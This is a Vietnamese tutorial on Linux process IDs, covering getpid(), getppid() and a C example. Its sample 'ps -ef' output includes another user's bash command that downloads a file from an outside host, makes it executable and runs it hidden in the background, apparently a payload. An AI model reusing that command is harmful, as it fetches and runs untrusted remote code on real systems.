Xử lý thông tin

Trước khi đi vào quy trình thông tin, chúng ta cần biết một số điều, chẳng hạn như -

Quy trình là gì? Tiến trình là một chương trình đang được thực thi.

Chương trình là gì? Chương trình là một tệp chứa thông tin của một quá trình và cách xây dựng nó trong thời gian chạy. Khi bạn bắt đầu thực thi chương trình, chương trình sẽ được tải vào RAM và bắt đầu thực thi.

Mỗi quy trình được xác định bằng một số nguyên dương duy nhất được gọi là ID quy trình hoặc đơn giản là PID (Số nhận dạng quy trình). Kernel thường giới hạn ID tiến trình là 32767, có thể cấu hình được. Khi ID quy trình đạt đến giới hạn này, nó sẽ được đặt lại một lần nữa, sau phạm vi xử lý của hệ thống. Sau đó, các ID quy trình chưa sử dụng từ bộ đếm đó sẽ được gán cho các quy trình mới được tạo.

Lệnh gọi hệ thống getpid () trả về ID tiến trình của quá trình gọi.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

Lệnh gọi này trả về ID tiến trình của tiến trình gọi được đảm bảo là duy nhất. Cuộc gọi này luôn thành công và do đó không có giá trị trả về để chỉ ra lỗi.

Mỗi quy trình có một ID duy nhất được gọi là ID quy trình, điều đó tốt nhưng ai đã tạo ra nó? Làm thế nào để lấy thông tin về người tạo ra nó? Quá trình tạo được gọi là quá trình mẹ. ID cha hoặc PPID có thể nhận được thông qua cuộc gọi getppid ().

Lệnh gọi hệ thống getppid () trả về PID gốc của quá trình gọi.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

Cuộc gọi này trả về ID tiến trình mẹ của quá trình gọi. Cuộc gọi này luôn thành công và do đó không có giá trị trả về để chỉ ra lỗi.

Hãy để chúng tôi hiểu điều này với một ví dụ đơn giản.

Sau đây là một chương trình để biết PID và PPID của quá trình gọi.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

Về quá trình biên dịch và thực thi chương trình trên, sau đây sẽ là đầu ra.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note- Hệ thống hàm thư viện “C” () thực hiện một lệnh shell. Các đối số được truyền cho system () là các lệnh được thực thi trên shell. Trong chương trình trên, lệnh là “ps”, cho biết trạng thái quá trình.

Thông tin đầy đủ về tất cả các quy trình đang chạy và thông tin liên quan đến hệ thống khác có thể truy cập được từ hệ thống tệp proc có sẵn tại vị trí / proc.